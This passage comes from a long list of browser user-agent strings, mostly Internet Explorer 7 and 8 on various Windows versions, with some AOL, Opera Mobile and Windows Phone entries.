2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; GTB6.3; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; OfficeLivePatch.1.3; InfoPath.3) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; AskTbSTC-SRS/5.12.2.16752) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; FDM; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; AskTbARS/5.9.1.14019) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; MSSDMC2.5.2219.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; Zune 3.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; InfoPath.3; MS-RTC LM 8; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.3; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; chromeframe; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3; .NET4.0E) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; chromeframe; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; Zune 3.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.2; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; AskTB5.5) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3; .NET4.0E) chromeframe/8.0.552.237 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E; Avant Browser) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET4.0C; .NET4.0E; InfoPath.3) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; chromeframe/12.0.742.100; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/6.0; .NET4.0E; .NET4.0C) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.3; Trident/7.0; .NET4.0E; .NET4.0C) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 7.1; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT; Avant Browser; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0) Asus;Galaxy6 Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0; Nokia;N70) Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.0.3705; Media Center PC 3.1; Alexa Toolbar; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.40607) Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; FDM; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0) Mozilla/4.0 (compatible; MSIE 7.9; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.2; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 8.0; ; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; ; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET4.0C; .NET4.0E; InfoPat Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.0; AOLBuild 4327.5201; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.1; AOLBuild 4334.5011; Windows NT 6.1; WOW64; Trident/4.0; GTB7.2; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.5; AOLBuild 4337.29; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.5; AOLBuild 4337.43; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.104; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.110; Windows NT 5.1; Trident/4.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.111; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.122; Windows NT 5.1; Trident/4.0; FunWebProducts) Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.122; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.124; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.12; Windows NT 5.1; Trident/4.0; GTB6.3) Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.12; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.130; Windows NT 5.1; Trident/4.0; FunWebProducts; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; yie8) Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.130; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.168; Windows NT 5.1; Trident/4.0; GTB7.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.168; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.17; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.27; Windows NT 5.1; Trident/4.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.27; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.5000; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.5000; Windows NT 5.1; Trident/4.0; FunWebProducts) Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.5001; Windows NT 5.1; Trident/4.0) Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.5004; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Android 2.2.2; Linux; Opera Mobi/ADR-1103311355; en) Opera 11.00 Mozilla/4.0 (compatible; MSIE 8.0; Linux armv6l; Maemo; Opera Mobi/8; en-GB) Opera 11.00 Mozilla/4.0 (compatible; MSIE 8.0; Linux armv7l; Maemo; Opera Mobi/4; fr) Opera 10.1 Mozilla/4.0 (compatible; MSIE 8.0; Linux i686; en) Opera 10.51 Mozilla/4.0 (compatible; MSIE 8.0; S60; SymbOS; Opera Mobi/SYB-1107071606; en) Opera 11.10 Mozilla/4.0 (compatible; MSIE 8.0; Windows 98; Win 9x 4.90; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; SV1; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; SV1; TheWorld) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0) chromeframe/8.0.552.237 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; (R1 1.5); .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; (R1 1.5); .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; (R1 1.5); .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; AskTbSPC/5.9.1.14019) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; (R1 1.5); KKman3.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; (R1 1.6); .NET CLR 2.0.50727; TheWorld) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; (R1 1.6); KKMAN3.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1; MS-RTC LM 8; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Media Center PC 4.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Tablet PC 1.7) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.0.3705; Media Center PC 3.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.3) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.4506.2152) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.4;) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; Windows-Media-Player/10.00.00.3990; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; Zango 10.3.74.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; InfoPath.1; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; Lunascape 6.3.4.23051) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape 6.3.4.23051) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.04506.648; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTbDVS2/5.13.1.18107) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; AskTbATU2/5.17.3.36670) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; Zune 3.0; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Paros/3.2.13 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1; MS-RTC LM 8; MS-RTC EA 2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; .NET4.0C; .NET4.0E; TheWorld) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; MSSDMC2.4.2011.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; MSSDMC2.4.2011.2; AskTB5.6) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSN Optimized;ENAU) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Zune 3.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 